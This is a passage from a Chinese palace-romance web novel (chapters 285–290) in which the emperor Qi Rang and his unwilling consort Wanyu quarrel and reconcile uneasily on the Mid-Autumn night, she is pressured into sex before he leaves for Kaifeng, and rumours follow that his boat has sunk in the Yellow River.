祁让疑惑那些把主意打到李美人身上的人,怎么知道晚余一定会帮李美人? 晚余的疑惑却是,当初李美人和齐嫔借着生辰宴灌醉祁让的事,只有后宫妃嫔知道,如果这件事和后宫妃嫔没有关系,外面那些人又怎么知道李美人对自己有恩呢? 所以,后宫妃嫔也不是一点关系都没有吧,至少给自己家人出个主意传个话肯定是有的。 只是不知道具体是哪个妃嫔,敢把这个大家共同保守的秘密给泄露出去。 祁让要是得知自己曾被所有妃嫔合伙欺骗,那得气成什么样? 虽说时过境迁,自己没走成,齐嫔也死了,他也不可能轻易放过剩下的人。 晚余思来想去,面对这个隐患,一点法子都没有。 所幸这事虽说是帮她,却不是她组织的,她也没有参与,祁让就算要追究也不能把她怎么样。 剩下的人,只能自求多福了。 中秋节这天,是一个很好的大晴天,因着中秋宫宴是历年的惯例,即使赶上多事之秋,宴席还是照常举行。 晚余打定了主意不去凑那个热闹,祁让便御膳房单给她置办了一桌酒席,让她在自己宫里过节。 既是赏月,自然要在外面才有意境,晚余就让人把酒席摆在了梨树下,大家边吃席边赏月。 晚余不能饮酒,坐在那里看着胡尽忠他们划拳行酒令。 一轮圆月升上高空,在院子里洒落满地白霜。 晚余抚着肚子抬头望月,不知怎的就想起了祁让那天和她说的话。 她能陪这孩子的,也就几个月而已。 这是她们母子的第一个团圆节,也是最后一个团圆节。 惆怅如潮水无声无息漫上心头,她身处欢声笑语之中,心却是那样的荒凉。 她起身离席,借口坐久了需要活动,扶着腰在院子里慢慢走,走着走着,就走去了后院。 大家都在前面玩乐,后院一个人都没有,偌大的庭院,只有静默的花草和一地明晃晃的月光。 晚余就站在院子里,仰头望月,无限愁思。 这时,东边的院墙上突然无声无息跃上来一个人影,把晚余吓了一跳。 正要喊人,那人已经抢先开口:“别喊,是朕。” 晚余那一句“来人”硬生生咽了回去,瞪大眼睛,不可思议地看着他矫健的身影从高高的院墙一跃而下,向着自己阔步而来。 堂堂天子,居然爬墙头? 晚余实在不知该如何评价,等他到了近前,小声道:“皇上怎么不从正门进来?” 祁让不说话,毫无征兆地展开双臂将她紧紧拥进了怀里。 晚余挣了两下挣不动,闻到他身上酒香混合着龙涎香的气息,心想他是不是喝醉了。 “你也抱一抱朕好不好?”祁让下巴抵在她头顶,向她发出请求。 晚余僵着身子没动。 祁让说:“朕知道你不情愿,看在过节的份上,你今晚就稍微对朕好一点,明天再接着恨朕好不好,朕喝多了,明早醒来就忘了。” “……” 晚余觉得他可能真的喝多了。 清醒的祁让不会说这样的话,也不会爬墙头。 祁让得不到她的回应,双手在她身侧摸索,摸到她的手,强行圈在自己腰上:“就这样,抱紧了,别松开。” 他的腰很窄,但肌肉紧实,线条流畅,积蓄着蓬勃的力量。 晚余有点不适应,但也没松开。 祁让这才满意,又回抱住她。 “朕在宴席上,看到所有人都在,唯独你不在,朕心里很难受。” “朕看着他们推杯换盏,心里想的却是你。” “朕想着你不喜欢热闹,会不会一个人到处走走。” “于是朕就撇下他们,偷偷跑来翻墙头。” “朕想着,若是能撞见你,就是咱们心有灵犀,若是你和他们在一处玩耍,朕就悄悄看你一眼再回去。” “事实证明,咱们是心有灵犀的,对不对?” 他拥着她,在她头顶喃喃絮语,和寻常醉酒的男人没什么两样。 晚余静静听着,也不回应他,由着他在那里胡言乱语。 祁让又道:“你不在宴席上,朕虽然难受,却不心慌,因为朕知道你在哪里。” “朕如果想见你,只须走一段路,翻一道墙,就能见到你。” “可你要是走了,再想见也见不到了……” “晚余,晚余……”他叫着她的名字控诉她,“你的心真狠,紫禁城留不住你,朕留不住你,孩子也留不住你,你当真是朕见过心肠最硬的女人……” 晚余在他怀里僵着身子,轻轻吸了下鼻子。 祁让微怔,身子后撤,双手捧起她的脸。 她面向月亮站着,月光映在她眼底,也照亮她脸上如溪水静静流淌的泪。 “你哭了,为什么?” 祁让把腰身弓得更低,凉薄的唇,带着淡淡酒气吻她的泪。 “别哭,今天是团圆节,不兴哭。” 他不说还好,越说晚余的泪越刹不住,压抑的低泣声溢出来,带着怨恨推开他, “现在说这些有什么意思,我这辈子都被你毁了,你还来我面前装深情,你有什么好装的,你是什么人,你自己最清楚,你才是最狠心的那个,你有什么资格说我狠?” 祁让被她推得一个趔趄,倒退两步才稳住身形,咬了咬唇,舌尖品到她眼泪的味道。 “你说得对,都是朕的错。”他又走回来,再度捧起她的脸,“可朕有什么办法,朕就是想要你。” “朕贵为天子,九五至尊,朕想要一个女人都不行吗? “如果朕想要一个女人都这么费劲,朕还做什么皇帝?” “你平心而论,朕对你,对沈长安,对徐清盏,还不够容忍吗?” “只因为朕在不知道你是沈长安的心上人的情况下强占了你,朕就注定要亏欠你们一辈子吗?” “别说你们只是私定终身,就算双方父母都同意,没有议亲,没有交换庚帖,那也是不作数的。” “朕只是临幸了一个宫女,又没有强占人妻,朕怎么就十恶不赦了?” “大邺不是只有一个沈长安能带兵,朕手里也不是只有徐清盏这一把刀,朕自问已经做到了一个皇帝能做出的最大让步,这一切,说到底都是为了你。” 他捧着她的脸,双手拇指用力碾过她的唇瓣:“你若非说朕有什么错, 朕错就错在喜欢上了你。 错就错在对你不够狠。 错就错在将你和别的女人区别对待。 错就错在不该一时心软,写了那个放你出宫的圣旨,让朕的孩子和朕一样,一出生就要失去亲娘……” 他幽深的双眸逼视她,牙齿咬得咯咯响:“你知道朕有多少回想杀了你吗? 但凡朕能下得去手,世上早就没有你江晚余这个人了。 朕连亲爹亲兄弟都杀了,唯独杀不了你。 你也是知道的吧? 你不就是仗着朕舍不得,才一次又一次忤逆朕,往朕心上扎刀子吗? 可是怎么办呢? 朕在你面前这样软弱,朕自己都瞧不起自己……” 他恨得说不下去,低下头,饿狼一样吻住了她的唇:“江晚余,朕实在恨死了你!恨到想和你同归于尽!” 﨔 第286章 亲她亲得昏天暗地 他一面说着恨她的话,一面深深地吻住她,疯了似的与她唇舌交缠,仿佛过了今天再没有明天,要将所有的爱恨在今夜做个了断。 可是怎么能了断呢? 情爱这东西,从来都是不死不休,如同抽刀断水,藕丝难杀。 纵然是龙颜一怒,伏尸百万的帝王,也拿它没奈何。 晚余被他亲到痛,那痛感从嘴唇,舌头,直到心底深处。 痛得她不能呼吸,眼泪流出来,濡湿了两人的脸,又从她嘴唇渗进去,混合着爱,混合着恨,在口腔蔓延。 她没有推开他,她觉得这样痛着很好。 痛可以让人崩溃,也可以让人清醒。 或许祁让说的并非完全没有道理,但那些道理,是祁让自己的道理。 每个人都有自己的道理,每个人的道理都天然偏向自己。 祁让的不得已,在她这里是压榨,是欺辱,是毁灭。 祁让的爱,在她这里是强迫,是掠夺,是负担。 若说委屈,她何尝不委屈? 长安和清盏何尝不委屈? 只因为祁让是皇帝,所有人的委屈都要为他的委屈让步。 这就是皇权。 这就是拥有无上权柄之人的心态。 所谓王法,就是王者的法则。 他是这天下的王,世间所有一切都得以他为尊,都得为他让步。 而他所谓的让步,不过是在他给别人圈定的那个框框之内的让步。 一旦超出那个框框,便是人头落地,血溅三尺。 祁让说想和她同归于尽,这念头又何尝不是在她心中辗转了千百回。 若非她心中还有不甘,还想去过一过自己向往的人生,她早就动手了。 她承认她不是个完美的人,她也有会软弱的时候,也会有不讨喜的一面,会犯傻,会犯错,会一根筋。 可即便如此,她还是想做她自己呀! 她不想去填补别人的遗憾,也不想去缝补别人破碎的人生。 她自己已经够破碎了。 可惜祁让永远不会明白。 即使他们再掰扯一百遍,一千遍,一万遍,他也不会明白。 他是高高在上的神,在云端俯瞰她这只蝼蚁。 夏虫不可语冰,天神,也同样不会与蝼蚁共情。 所以她不想说了,也不想吵了,纵然她会因为孩子一时的心软,纵然有些突如其来的情绪不由她控制,她也不会改变自己的初衷。 如他所说,只剩这几个月了,只要他想,她愿意和他营造一个恩爱的假象,好叫肚子里的孩子感知到快乐与温情,等将来自己走了,他们父子或父女谈论起她的时候,不至于无话可说。 其实,她也不觉得有什么好谈论的。 假如有一天庄妃死了,祁让会和嘉华公主谈论他们的过往吗? 祁让会和端妃兰贵妃谈论失去的孩子吗? 当皇帝的,哪有这么多空闲? 说到底,不过是自己觉得对孩子有亏欠,说是弥补孩子,其实是为了让自己那颗自私的心好受一点。 她注定不是一个好母亲。 晚余叹口气,这才发现祁让不知何时停了下来。 祁让幽深的眸子在月光下如同深不见底的寒潭,潭水中是快要满溢出来的失望。 他亲她亲得昏天暗地,她却在走神。 他们永远都是错位的。 他舔着发苦的唇,有种重拳打在棉花堆里的无力感。 早就知道是这样的结果,他到底还在渴求什么? 亲生孩子都留不住的女人,他又拿什么留她? 不过是想在最后的时光,得到她一点虚假的温情罢了。 世间至苦唯情爱,他只是没想到,连他这个自以为冷血无情的帝王也不能幸免。 好在他今晚喝醉了。 喝醉的人,什么荒唐的事都做得出来。 他复又捧住她的脸,双手拇指在她脸颊抚过,抚去她的泪。 至少这一刻,她的眼泪是为他而流的吧! “别哭,朕醉了,朕的话你不必理会。” 他又去吻她,轻轻的,慢慢的,细细密密的,温温柔柔的,不再像之前报复般的狂乱。 “朕舍不得你,朕便是杀了自己,也不会动你。” “朕认栽了还不行吗?” 晚余的心揪成一团,像理不出头绪的乱麻。 祁让坐在院中石凳上,将她抱坐在腿上,面朝月亮。 今朝有酒今朝醉,今朝有月今朝圆。 至少这一刻,月亮是同时照在他们两人身上的。 “月色这么好,咱们说点高兴的事吧!”他语气轻松,却满心的凄怆。 晚余被他这样抱着,唯恐他酒醉失了手,不得不双手搂着他的脖子稳定身体。 “又不是只有一张凳子,臣妾现在是两个人的重量,别压着皇上了。” 你看,他在说月亮,她却和他说重量。 祁让失落之余,越发搂紧了她:“石凳寒凉,你不能坐,朕也还没有那么虚。” 晚余只得老老实实坐在他腿上。 祁让腿上压着母子二人的重量,悬浮的心慢慢踏实下来。 至少这一刻,她是切切实实在他怀里的。 他说:“大过节的,咱们都说点真心话,朕方才和你说了那么多,你就没什么想和朕说的吗?” 晚余搂着他的脖子,近距离地看了他一眼:“皇上不是要说高兴的事吗?臣妾的真心话只会让您生气,还是不说为好。” 祁让说:“你就没有一句能让朕高兴的真心话吗?” 晚余想了想。 又想了想。 最后选择沉默。 “不行,你必须说一句。”祁让借酒发疯。 晚余对着月亮目光虔诚:“臣妾真心希望皇上能长命百岁。” 祁让:“……” “这真的是你的真心话吗,你不该希望朕早死吗?” “臣妾没有,臣妾还指望皇上长长久久的庇护这孩子呢!” “如果没有孩子呢?”祁让问。 晚余认真想了想:“就算没有孩子,臣妾也希望皇上能长命百岁,毕竟这也是天下臣民的愿望。” 她这么认真,最后也只想出这么一句假大空的说辞,祁让真不知道自己到底在期待什么。 他叹口气,一只手放在她肚子上:“这是咱们一家三口共同度过的唯一一个中秋节,你有没有什么要和孩子说的,等将来他长大了,朕好说与他听。” 晚余怔住。 她从来没想过要给孩子留下什么话,祁让突然提及,让她有点手足无措。 说点什么呢? 她不由得紧张起来,吞了下口水,斟酌良久,最终还是摇了摇头:“臣妾想不起来,臣妾的脑子突然空了。” 祁让定定看她,终于从她的不知所措中找到了一点她在意这个孩子的蛛丝马迹。 只有在意,才会这样不知所措吧? 只有在意,才会不知道该说什么吧? 如果不在意,随便几句就打发了。 就像很多人夸别人的孩子从来不走心一样,聪明,可爱,虎头虎脑,长大肯定有出息。 真正面对自己的孩子,就没有这些浮夸的话,只恨不得把心掏给他还嫌不够。 所以,她纵然不在意自己,也是在意孩子的吧? 在意孩子,应该就不会走得很远吧? 他望着她,眼底又燃起一线希望:“你有没有想过出宫之后去哪里,要不要朕在京城给你置办一座宅院?将来你要是想孩子了,朕可以让人把孩子偷偷带出去见你。” 﨔 第287章 朕想和孩子道个别 晚余被他这话结结实实吓了一跳,一种危机感油然而生。 不知道是不是夜风寒凉,她忍不住打了个哆嗦。 祁让这话什么意思? 难道他放她出宫,不是放她远走高飞,而是换一种形式把她留在眼皮子底下? 她认为的出宫,就是远走高飞,一刀两断,再无瓜葛。 如果还住在京城,还要时不时见到孩子,那和没出宫有什么区别? 万一他贼心不死,再给她来一个暗度陈仓,那甚至还不如在宫里。 在宫里至少是名正言顺的关系,在外面岂非成了偷情? 她忽然意识到,祁让为什么特别强调不许她再嫁人。 他会不会从一开始就打的这个以退为进的主意? 晚余的手还搂着祁让的脖子,人还好好的坐在他腿上,心却忽忽悠悠地往那不见底的深渊坠去。 “怎么不说话?被朕吓到了吗?”祁让见她惊慌,眼里的光又熄灭,“你别怕,朕只是随口一说,没有强迫你留在京城的意思,但不管怎么说,京城都是治安最好的地界,天下之大,再没有比这里更安全的去处了。” 怎么会? 晚余心想,对于自己来说,京城才是最危险的地方,小偷小摸,土匪强盗或许会少一些,但眼前这人就是最大的强盗头子。 自己住在京城,不就等于住在他的强盗窝吗? 他可真是打得一手好算盘。 “多谢皇上,臣妾不是很想住在京城,臣妾想趁着年轻到处去走一走,看看咱们大邺的万里河山,暂时没有在哪里定居的想法。” 祁让望着她月光下皎洁的脸,心想这大邺的万里河山,他本打算和她一起看遍的,可她不要,偏要一个人跑出去看。 “那也没关系。”祁让说,“朕先给你预备着,万一你哪天看山看水看累了,想回来了,也好有个落脚的地方。” 晚余愈发忐忑,怕引起他的逆反心理,也不敢明目张胆的拒绝他。 这人就是有这毛病,你越说不要,他就越来劲。 “皇上看着办吧,但臣妾不一定会住,恐怕辜负了皇上的盛情。”晚余委婉地回应他,心里想的却是“我一定不会住”。 祁让见她没有把话说死,心下稍觉安慰:“既如此,朕明天就叫人去办,宅子你想要大一些还是小一些,要几进的院落,要哪个位置的,朕亲自给你画图纸,给你设计一个大大的花园,再挖个人工湖……” 他越说越兴奋,晚余越听越心惊。 京城居大不易,寸土寸金的地界,很多当官的一辈子都买不起一处宅院。 祁让这个许诺,可能是京城千千万万人梦寐以求的事,对于她来说,却实实在在是个噩梦。 这还没怎么着呢,他连花园湖泊都想到了,他是不是打算自己也搬过去住呀? 晚余看着头顶明晃晃的月亮,越看越像个大饼。 祁让准她出宫的圣旨,是不是也是他画出来的饼? 应该不是吧,他刚刚还说后悔给她圣旨了呢! 可见给圣旨的时候,并没有想到要把她留在京城。 或许宅子什么的,就是他喝多了一时兴起,明早醒来就忘了。 然而,她希望的事情似乎注定不会实现,仅仅隔了两天,祁让就让小福子给她送来了一张图纸。 图纸上是一座四进的大宅院,里面亭台楼阁,花园湖泊,小桥流水,奇花异石,应有尽有。 小福子说:“这是皇上亲自画的图纸,皇上说如果娘娘有什么不满意的地方,可以圈出来让他改,一直改到娘娘满意为止。” 晚余很是无语。 她想把整个宅院都圈出来,可她没这个胆。 “留着吧,本宫要仔细瞧瞧。”她敷衍了事地回了一句。 小福子应是,回了乾清宫向祁让复命。 祁让听闻晚余要仔细看,心里还很高兴,认为她没有敷衍自己,便耐心地等她的回馈意见。 晚余看都没看就扔在一旁,打定主意,能拖一天是一天。 这样拖着拖着,拖到了八月底,祁让居然一次都没有催过她。 晚余正奇怪他这几日怎么这么消停,他突然在一个月黑风高的晚上来了承乾宫。 晚余以为他是来兴师问罪的,就找借口说自己最近身子越来越重,每天神思倦怠,还没细看那张图纸。 祁让屏退所有人,揽着她进了内室:“图纸的事先不急,朕今晚是来和你道别的。” 道别? 晚余吃了一惊:“皇上要去哪儿?” 祁让说:“朕先前和你说过,想亲自到开封看一看,这时节天气凉爽,洪水也已退去,正是灾后重建的时候,朕正好去瞧一瞧。” 晚余没想到他真的要去,虽说他走了自己更清静,但他到底是皇帝,紫禁城没有他坐镇,总感觉不太踏实。 “皇上非得亲自去吗,派别人替您去不行吗?”晚余问道。 祁让不由得深深看了她一眼:“怎么,天天不待见朕,朕要走了,你倒是舍不得了?” 晚余实话实说:“倒也不是舍不得,只是有皇上在宫里,臣妾心里确实更踏实。” 祁让伸手圈住她的腰身,与她相对而立,眼底有遮不住的眷恋:“多少朝臣分析利弊都劝不住朕,你这一句话,朕突然就不想去了。” 晚余:“……皇上现在改主意还来得及。” “不改了,朕已经决定了。”祁让说,“你不用担心,朝堂上朕安排了徐清盏和内阁首辅监国,后宫有孙良言和静安太妃照应,还有两位贵妃辅助。 你这边就继续在承乾宫禁足,外面的事统统不要理会,别人也不会来打扰你。 至于朕出行方面,有沈长安的人马和皇家亲卫随扈,安全问题你不用担心,最多两个月,朕就回来了。” 晚余听到沈长安的名字,脸色微变,怕他生气,不敢详细询问,点头道:“既然皇上已经做好了万全的准备,臣妾便没什么不放心的,皇上千万要保重自己,早去早回。” “嗯。”祁让弓着腰,额头抵在她额头,黑漆漆的眼眸那样近距离地望着她,如暗夜里深邃的星空:“朕还有一个要求。” “什么要求?”晚余问道。 祁让一只手移到她腹部,嗓音低沉暧昧,又意味深长:“朕想和孩子道个别……” 﨔 第288章 臣妾不喜欢吃人肉 晚余没有听懂他的意味深长,只当他想和孩子说话,便顺从道:“这有何难,还要特地提要求,皇上想道就道呗!” “真的吗?”祁让眼睛亮起,像燃了两团火,将她打横抱起放在了床上,“这可是你说的。” 晚余哎呀一声,还没反应过来就到了床上。 但她也没有多想,以为祁让要贴在她肚子上听一听孩子的动静,心说这人实在矫情,又因着他要走了,懒得和他计较,就躺在那里静静的等着他。 谁知祁让先脱了龙袍,又来解她的衣带。 晚余一头雾水,慢慢感觉到哪里不对。 “不就是和孩子道个别吗,皇上脱衣服干什么?” “隔着衣服听不见,朕要深入的和他讲。”祁让眼底闪过一抹狡黠,俯身吻住了她的唇。 晚余身子一僵,终于后知后觉地反应过来,脸上火烧火燎的发起了热,手掌用力推他:“你这人怎么这样?” “还不是被你逼的。”祁让抓住她的手,气息紊乱灼热,“你若乖乖让朕亲近,朕何须绞尽脑汁找借口。” 他居然还倒打一耙。 晚余羞愤难当,气得说不出话,顾念着肚子,挣又挣不过他,一番拉扯之后,到底还是被他得逞,去到了离孩子最近的地方。 晚余受不住,狠狠一口咬在他锁骨上。 祁让疼得倒吸气,话音却带着笑意:“得亏你是要走的,你若留在朕身边一辈子,朕浑身上下都要被你咬遍了。” 晚余本来是下了死口的,听到他这话,蓦地停下。 祁让的心被自己狠狠捅了一刀,忍痛握住她的手,捂在自己心口:“你要是能留下,朕情愿每天割一块肉给你吃。” 晚余漠然道:“皇上别说得这么血淋淋,臣妾不喜欢吃人肉。” 祁让笑容发涩:“朕的肉是龙肉,寻常人可吃不着。” “……”晚余偏过头,不理会他的胡言乱语。 祁让扳过她的身子,让她背对着自己。 一番缠斗之后,终于风平浪静,闹海的蛟龙收了势,待在龙宫小憩。 祁让躺下来,照旧让她枕着他的手臂,气息粗重地交代她:“朕不在家,你凡事要警醒,只要你自己宫里没事,外面天塌了也不要管,朕若有事,会让徐清盏来告诉你,一切以徐清盏的话为准。” 晚余还没从余韵中缓过来,就听到他说起这样严肃的话题,不由得紧张起来。 “皇上什么意思,臣妾怎么觉得不对劲儿?” “没有,朕就是嘱咐你几句,你别多想。”祁让轻抚她的肚子,温声道,“朕都已经安排好了,你什么都不要担心,就算朕自己出了什么事,也不会让你出事的,明白吗?” 晚余心里越发没底。 她是恨他,但也不希望他在这个时候出事,不希望这个孩子成为遗腹子。 况且他此番出行是沈长安随扈,如果他出了事,那肯定是沈长安先出了事。 当最恨之人和最爱之人的安危捆绑在一起,她没有第二种选择,只能祈祷他们双方都平安。 “皇上一定要好好保重,臣妾和孩子等着您平安归来。” “好。”祁让撑起身子,在她汗津津的额头亲了一下,“朕走了,不管你是为了什么希望朕平安归来,朕都很开心。” 晚余没想到他这么快就走,随口道:“这就走了吗?” “怎么,你不想朕走?”祁让望着她的眼睛,想从中寻找一丝眷恋。 “不是。”晚余忙否认,“臣妾是说皇上方才辛苦了,臣妾以为皇上会歇一歇再走。” 祁让没能从她眼里找到自己想要的东西,唇角弯出失望的弧度,随即又无所谓地打趣她,“道个别而已,能有多辛苦,如果你愿意,朕还可以再道几次。” 晚余脸色一变:“皇上慢走,臣妾身子乏累,就不起来送您了。” 祁让低笑出声,伸手在她脸上捏了一把,起身下床,背对着她穿衣裳。 寝殿里只有一盏灯烛,昏黄的光流淌过他宽阔的肩背,背脊线条如弓弦般绷紧,随着他抬臂的动作,肌理分明的腰臀在轻薄的衣料下若隐若现,积蓄着强劲的力量。 晚余侧卧在锦被间,目光悄无声息地随着他的动作移动。 祁让有所察觉,没回头,沉声问:“看什么?” 晚余吓一跳,强自镇定道:“没什么,就是觉得皇上还是穿着衣裳的时候更……” 更像个人。 只可惜后半句她不敢说,到了嘴边又硬生生收回。 祁让转过身看她,衣襟松散着尚未系起,锁骨上还留着方才她情急时咬出的齿痕,紧实的胸膛,窄而强悍的腰腹,紧致流畅的线条如刀锋延伸向下…… 晚余忙移开眼,看向因他转身被气流拂动的纱帐。 "更什么?"祁让单膝压上床沿,俯身,带着薄茧的指腹抚过她微肿的唇瓣,龙涎香混着情事后的气息扑面而来。 “更,更威风……”晚余搜肠刮肚地想到一个词。 祁让勾唇:“贞妃娘娘是嫌朕不穿衣服的时候不够威风吗?” “臣妾没有。”晚余板着脸扒开他的手,“皇上快走吧,回去好好休息,别误了明日的行程。” 祁让意犹未尽地直起身,系上中衣,穿上龙袍,叭嗒一声玉扣相击的脆响中,那个床榻间肆意孟浪的登徒子,又变回了仪表堂堂,睥睨天下的君王。 “这个给你。”他随手解下腰间可做天子信物的龙形玉符搁在她枕边,“若有人为难你,凭此符可先斩后奏。” 晚余不禁又心生疑虑:“臣妾又不出门,外面有徐清盏照应,哪里用得上这个?” 祁让眸光微动,嫌弃地看了她一眼:“你这人当真是半分情调都没有吗?” 﨔 第289章 堂堂天子还要不要脸了 晚余无言以对,只得向他道谢。 祁让说:“你不回赠朕一个什么东西吗,也好叫朕带在身边做个念想。” 还要回赠呀? 晚余左右看了看,身边什么也没有,身子还是光着的,红着脸道,“臣妾没什么回赠皇上的。” “那就这个吧!”祁让顺手从一堆凌乱的衣物中抽出一条藕粉色绣莲花的肚兜。 “不行,这个不行!”晚余着急去抢,祁让已经后退一步,把那肚兜团成一团塞入袖中。 晚余急得不行,想起来又没穿衣服,只能软着声求他:“皇上快还给臣妾吧,这东西怎么能随身携带。” 祁让说:“那你再给个别的。” 晚余只得道:“臣妾外衫上有一个香囊,皇帝拿去吧!” “是你绣的吗?”祁让问,“不是你绣的朕不要。” “是,是臣妾亲手绣的。” “那好吧!” 祁让找到她的外衫,果然看到上面系着一个浅绿色绣梅花的香囊,绣工精美,花瓣栩栩如生。 他便将香囊解下来,郑重地系在自己腰间。 “朕走了,乖乖在家等朕回来。”他满意地在晚余唇上轻啄了一口,转身离去。 晚余松了口气,心想终于走了,这人简直比瘟神还难打发。 眼瞅着他要走出内室,突然意识到不对,“皇上等一下,那个肚兜您还没还我。” “还什么?朕只说让你再给个别的,又没说和你交换。”祁让丢下一句话,头也不回地走了。 “皇上,别走,回来……”晚余在后面急得高声叫他。 祁让已经哈哈笑着出了门。 甭管为着什么,这是她头一回如此急切地挽留他。 晚余恨的咬牙。 什么人哪这是? 堂堂天子,骗女人的肚兜,还要不要点脸了? 胡乱睡了一夜,次日一早,天刚蒙蒙亮,就听到紫禁城上空响起悠长的号角声,那不要脸的天子,率领队伍出发了。 晚余听着外面的动静,不禁想起去年冬天,祁让去天坛祈福,也是这样将明未明的天色,她和紫苏躺在冷宫的破木床上,被号角声唤醒。 时至今日,还是紫苏陪着她,她还是被困在一座宫殿,外面还是有侍卫把守,唯一不同的是,她肚子里多了一个孩子。 在别人看来,她可能是最幸运的,不到一年就从铺床丫头升到了妃位,还怀了龙嗣,被天下最尊贵的男人当眼珠子一样珍藏起来,不管犯什么错皇上都对她百般纵容。 可是在她看来,她的境遇并没有变好,反倒更糟了。 如果当初没被祁让抓回来,兴许她如今正在某处山水间游荡,不用和一群女人勾心斗角,也不用因为一个孩子患得患失。 虽然外面也有危险,但终究不像宫里那么让人心身俱疲,每天都要绷着神经过活。 但愿祁让此行顺利,平安归来,等他回来后,自己也快要临盆了。 有他在宫里坐镇,孩子才能平安降生,要是没有他,自己躺在产床上都要提心吊胆。 这样想着,她又生出那种矛盾的心理,明明祁让才是造成这一切的罪魁祸首,她却还要仰仗这个罪魁祸首来保平安。 天亮后,紫苏和云归进来服侍晚余起床。 云归找了半天,没找到晚余的肚兜,奇怪道:“娘娘的肚兜怎么不见了?” 晚余羞于启齿,只能装糊涂,说自己不知道。 云归把床上床下都找了一遍,又去问了其他几个宫女,最后得出一个结论,承乾宫遭贼了。 “奴婢去告诉胡大总管,叫他好好查一查。” “回来!”紫苏没好气地叫住她,“胡大总管问你丢了什么,你怎么说呀?” 云归愣住。 娘娘丢了肚兜,好像确实不好张扬。 可若放任不管,岂非纵容了歹人? 这回偷肚兜,下回不定偷什么呢? “行了,你就别操心了,宫里这么多值钱的东西,人家偷一个肚兜干什么?指不定掉在哪里,回头我来找。” 紫苏看着晚余难为情的样子,心下已经了然,板着脸把云归赶了出去。 娘娘在禁足,宫里除了皇上没有人进来,那贼人只怕就是皇上了。 皇上可真够荒唐的,出那么远的门,居然随身携带一个肚兜。 难不成晚上要抱着肚兜睡吗? 万一丢了,看他怎么办? 用过早饭,晚余正在院里散步消食,徐清盏来找她。 两人隔着门说了几句话,徐清盏叫她不用担心,只管在宫里安心养胎,以后每隔一天就来看她,让她想要什么只管告诉他。 晚余说:“本宫这里什么都不缺,也没什么想要的,只有一点,皇上和沈大将军若有什么事,掌印一定要第一时间告诉本宫,不要隐瞒本宫。” 徐清盏隔着门沉默一刻,答应道:“好,臣知道了。” 晚余叮嘱他:“掌印肩负重任,眼下天气渐凉,掌印要记得加衣裳,别拿自己的身体不当回事。” 徐清盏咳了几声,又道:“好,臣知道了。” 晚余知道有侍卫在,他也不能多说什么,就让他自行去忙。 隔天,他又过来,和晚余说了祁让的行程,说御驾已经到了河间府,昨夜驻扎在太平庄行宫,圣躬安泰,随扈队伍一切安好。 晚余明白,随扈队伍指的就是沈长安。 她现在别无所求,只要沈长安和祁让平平安安就好。 再隔天,徐清盏又来和她说,御驾已经到了卫辉府,卫辉府有个比干庙,因为大邺开国皇帝推崇比干,所以大邺历代君王都要去比干庙祭祀,皇上决定在那里停留一日,祭祀之后才赶路。 之后的时间,他便一直这样,每隔一天就来和晚余回禀一次。 两人虽不见面,隔着门说上几句话,彼此都很安心。 转眼到了九九重阳日,徐清盏一大早过来,给晚余送了一枝茱萸和十几盆开得正艳的菊花,说御驾已经抵达开封,这茱萸是皇上特命八百里加急送回宫里给她的。 晚余握着那枝茱萸,看着绿叶间一粒粒鲜艳赤红如血珠凝露的小果,根茎上还沾着黄河岸的细沙,不禁想起那句著名的诗句,心中莫名生出几分怅惘。 遍插茱萸少一人,何止这一个重阳? 以后的每个重阳,不管是对祁让和孩子来说,还是对长安和清盏来说,都会少一人。 她这一生,似乎注定了是不能圆满的一生。 重阳过后,徐清盏每回来看她,带来的都是祁让在黄河沿岸勘察水利的消息。 晚余渐渐养成了习惯,每隔一天,就准时守在门后等徐清盏来。 然而,有一天,这个惯例突然就中断了,一连三天,她都没能等到徐清盏。 就在她心慌不安的时候,皇帝的龙船在黄河沉没的传言,一夜之间在京城流传开来。 﨔 第290章 他死了,她和孩子怎么办 晚余是在两天后得知的消息。 徐清盏一直不来,她心中不安,就让胡尽忠出去打听情况。 胡尽忠出去转了一圈,回来后神情惶惶,欲言又止。 晚余屏退了所有人,单独把他留下,严肃道:“你要是听说了什么,就直接告诉我,别想着遮遮掩掩,这样只会叫我更加不安。” 胡尽忠看着她,眼里满是同情:“那奴才说了,娘娘可不要着急,无论如何,千万顾念肚子里的孩子。” “行了,知道了,你快说吧!”晚余急切地催促。 胡尽忠只得如实禀报:“奴才听人说,皇上的龙船在黄河沉没了。” “你说什么?”晚余脑子嗡的一声,一颗心顿时提到了嗓子眼,“消息属实吗,是什么时候的事,皇上现在怎么样了,救上来没有,沈大将军呢,有没有沈大将军的消息?” 她一连声地发问,声音都开始发抖。 “娘娘您别急,您要冷静啊!”胡尽忠劝慰着她,眼里满是同情,“据说船沉的时候沈大将军也在上面,截止目前为止,两人都没找到。” 晚余眼前一黑,心口发闷,身子晃了几晃。 胡尽忠连忙扶她坐下,给她拍背顺气:“娘娘,您可千万要冷静呀!” 晚余喘息着,屈起一只手肘撑住昏沉的头,不知道自己要怎样才能冷静。 开封离京城千里之遥,消息用最快的方式传回来,至少也要延迟两到三天。 徐清盏已经五日没来,这样换算的话,祁让和沈长安出事至少也有七八日了。 那可是黄河呀! 前不久才夺走了几十万人性命的黄河。 沉入黄河七八日还没找到的话,肯定是凶多吉少了。 这种情况下,叫她如何冷静得了? 晚余浑身冰冷,心乱如麻,除了坐着,完全不知道该干什么。 祁让那样心思缜密,算无遗策的人,怎么会死呢? 他不是说他是祸害,打个对折也要活五百年的吗? 他死了,她怎么办,孩子怎么办? 坊间本来就在传言她是祸国妖妃,孩子是灾星降世,万一祁让不能活着回来,她和孩子能有什么好下场? 还有长安,多少回浴血疆场,千军万马里出生入死都能安然无恙,如今却要葬身黄河吗? 都怪祁让,好好的为什么要亲自去开封?那么多的武将,为什么非要让沈长安随扈? 他不是说大邺不只沈长安一个人能带兵吗,为什么天天可着一个沈长安使唤? 晚余知道自己这样想不太好,换了别人随扈出了事,别人的妻儿老小同样会痛不欲生。 她就是想不明白,祁让为什么非要带沈长安? 他口口声声为她着想,难道就没想过,万一他和沈长安同时出事的话,她该怎么办吗? 她现在就已经不知道该怎么办了。 她曾经那么恨祁让,恨不得亲手杀了他,可是现在,她一点都不希望他死。 她希望他能活着,和沈长安一起完好无损地回来。 他们的恩怨,他们的爱恨都可以另算,至少现在,祁让不能死。 晚余闭了闭眼,眼睛干涩难耐,竟是一滴泪都流不出来。 她曾经因为祁让流了那么多的眼泪,现在却连哭都哭不出来了。 不知是不是情绪波动太强烈,孩子在她肚子里动了起来。 晚余捂着肚子,想起祁让临走前和孩子的道别,叫孩子和她一起乖乖在家等他回来。 